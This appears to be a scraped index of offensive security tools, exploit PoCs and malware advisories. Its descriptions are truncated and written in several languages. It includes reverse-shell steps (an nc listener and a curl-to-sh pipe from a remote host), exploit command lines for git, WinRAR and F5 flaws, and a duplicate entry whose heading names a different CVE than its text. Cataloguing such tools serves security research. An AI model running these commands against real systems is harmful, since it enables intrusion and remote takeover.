Hwacha

Hwacha https://www.n00py.io/2017/12/raining-shells-on-linux-environments-with-hwacha/ Hwachaは、Nixベースのシステム上でペイロードを迅速に実行するためのツールです。 認証情報を取得したシステムのサブネット全体からアーティファクトを収集したり、シェルコードを実行したりできます。 $python hwacha.py &&&& && && && &&&&&&&&&&&& && && && Created by Esteban Rodriguez /\ &&&&&& && &&&&&&&&&& &&...

CVE-2025-48384

CVE-2025-48384 の PoC 詳細は CVE-2025-48384 を参照 実行方法: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git 出力例: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloning into 'test'... done. 'ubmodule 'sub'...

NyxInvoke

NyxInvoke NyxInvoke 是一个基于 Rust 的多功能工具，旨在执行 .NET 程序集、PowerShell 命令/脚本、Beacon 对象文件（BOF）和 PE 文件，并内置 Ntdll 取消挂钩（Unhooking）、无补丁 AMSI 和 ETW 绕过功能。它可以编译为独立可执行文件或 DLL。 功能特性 执行 .NET 程序集 运行 PowerShell 命令或脚本 加载并执行 Beacon 对象文件（BOF） 加载并执行 PE 文件（EXE） 内置无补丁 AMSI（反恶意软件扫描接口）绕过 内置无补丁 ETW（Windows 事件跟踪）绕过 内置 NTDLL...

pyrdp

PyRDP PyRDP は、Python で書かれた Remote Desktop Protocol RDP Monster-in-the-Middle MITM ツールおよびライブラリです。 以下のツールを備えています。 RDP モンスター・イン・ザ・ミドル 接続時に使用される平文の認証情報または NetNTLM ハッシュをログに記録 クリップボードにコピーされたデータを盗み取る ネットワークを介して転送されたファイルのコピーを保存 バックグラウンドで共有ドライブをクロールし、ローカルに保存 接続のリプレイを保存して、後で確認可能 新しい接続時にコンソールコマンドまたは...

CVE-2021-40444--CABless

CVE-2021-40444--CABレス版 更新: CABアーカイブに依存しなくてもよいようにコードを修正しました ペイロード実行をトリガーする「index.html」ファイルには、'script'タグ内にコード1行のみが含まれます： PDF形式の記事が提供されています。 更新: デモ動画へのリンク - https://www.youtube.com/watch?v=V9XD3VboEcU 注:...

reverse-shell

reverse-shell リバースシェルをサービスとして提供 - https://reverse-shell.sh 覚えやすいリバースシェル。ほとんどのUnix系システムで動作します。 ターゲット上で利用可能なソフトウェアを検出し、適切なペイロードを実行します。 使い方 1. 接続を待ち受ける あなたのマシンでポートを開けて待ち受けます。netcatで簡単にできます。 nc -l 1337 2. ターゲットでリバースシェルを実行する ターゲットマシンで、https://reverse-shell.sh/yourip:port の出力をshにパイプします。 curl...

trojanizer

TROJANIZER Version release : v1.1 Stable Author : pedro ubuntu r00t-3xp10it Codename: TroiaRevisited Distros Supported : Ubuntu, Kali, Mint, Parrot OS Suspicious-Shell-Activity SSA RedTeam develop @2017 FRAMEWORK DESCRIPTION The Trojanizer tool uses WinRAR SFX to compress the two files input by...

Beleth

Beleth 辞書ベースのSSHクラッカー Usage: ./beleth OPTIONS -c payload Execute payload on remote server once logged in -h Display this help -l threads Limit threads to given number. Default: 4 -p port Specify remote port -P password Use single password attempt -t target Attempt connections to this server -u us...

CVE-2024-25897

パラメータ ip、puerto、ruta エクスプロイトの出力 ヘルプパネル エクスプロイトの説明 コードの説明をMarkdownで以下に示します。 コードの説明 このスクリプトは、Jenkins（CVE-2024-23897）の特定の脆弱性を悪用するために設計されています。JenkinsサーバーからJARファイルをダウンロードし、Jenkinsノードに接続するためのペイロードを実行します。以下、コードの各部分を説明します。 モジュールのインポート import argparse import requests import os import subprocess import sys...

drow

drow 描述 太长不看 drow 是一个命令行工具，用于注入代码并钩取 ELF 可执行文件（构建后）的入口点。它接收未经修改的 ELF 可执行文件作为输入，并输出一个包含用户提供的内嵌 payload 的修改版 ELF，该 payload 在运行时执行。 稍微详细一些…… Drow 执行以下步骤来创建新的修补版 ELF： 1. 映射未修改的目标 ELF 可执行文件和用户提供的 payload（一个位置无关的 blob） 2. 通过解析程序头定位第一个可执行段 3. 通过解析节头定位可执行段中的最后一个节 4. 将（段中的）最后一个节的节头 shsize 和程序头...

horrors-log4shell

horrors-log4shell CVE-2021-44228 log4j のためのマイクロラボ（遊び場？） 複数のターゲットに対してペイロードを実行するために使用できます。 ターゲット固有のペイロードは実行時に生成されます。 設定とバイパスを調整可能です。 インストール Java関連の要件 開発 / 実行例 Gradle Maven 最近の log4j 関連の脆弱性（CVE-2021-44228、CVE-2021-45046）をテストするには： JDK 8u121 Ysoserial コンパイル済み JAR https://github.com/frohoff/ysoserial...

CVE-2024-26169-Detail-1

CVE-2017-11882-metasploit これは、以下のPOCを使用してCVE-2017-11882を悪用するMetasploitモジュールです： https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. インストール 1. cve201711882.rb を /usr/share/metasploit-framework/modules/exploits/windows/local/ にコピーします。 2. cve-2017-11882.rtf を...

CVE-2017-11882-metasploit

CVE-2017-11882-metasploit これは、以下のPOCを使用してCVE-2017-11882を悪用するMetasploitモジュールです。 https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. インストール 1. cve201711882.rbを/usr/share/metasploit-framework/modules/exploits/windows/local/にコピーします。 2...

Malicious code in crypto-key-utils (RubyGems)

RubyGems runs this gem's native extension script ext/crypto-key-utils/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17594 Malicious code in crypto-key-utils (RubyGems)

RubyGems runs this gem's native extension script ext/crypto-key-utils/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

CVE-2025-8088

CVE-2025-8088 – WinRAR Exploit このリポジトリには、WinRARの脆弱性 CVE-2025-8088 を悪用する 悪意のあるRARファイル生成ツール が含まれており、一見正規のファイルが被害者によって解凍されるとペイロードを実行させることができます。 推奨コマンド python3 exploit7.12.py \ -p payload.exe \ -o exploit.rar \ --username 注意 被害者のユーザー名 \ --placeholder-len 200 \ --max-up 12 \ --verbose python...

CVE-2017-9779

WindowsのPath Usersによるペイロードの自動実行 :: Cmderとは？ Cmderは、Windowsに優れたコンソールエミュレータがないことへの純粋なフラストレーションから作成されたソフトウェアパッケージです。素晴らしいソフトウェアをベースに、Monokaiカラースキームとカスタムプロンプトレイアウトでスパイスを加え、最初からセクシーに見えます。 Cmderのサイトフレームワーク！ http://cmder.net/ .bashrcとは？ 実行可能ファイルであり、記述した任意の単語が直接ターミナルに表示されます。残念ながら、すべてのLinuxシステムで動作します。...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP に影響する CVE-2022-1388 の PoC。 使い方 $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File list containing one or...

MAL-2026-17299 Malicious code in testosu8887 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7d9d3296b770afd3fdebaf4df9d113873e9c77d2d498d2e7941a3465eeb6f97d On require or CLI invocation, dist/index.cjs and dist/cli.cjs call a top-level function dispatchAnalytics, invoked via he/Re that reads a bundled ima...

MAL-2026-16127 Malicious code in eth-account-web3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 38b69dc345e5f7b75dbe6dccaf3dfc013a98e302176130aac064cbd8d042bae7 The distribution eth-account-web3 installs under the import name ethaccount, colliding with the legitimate ethereum/eth-account library. On import,...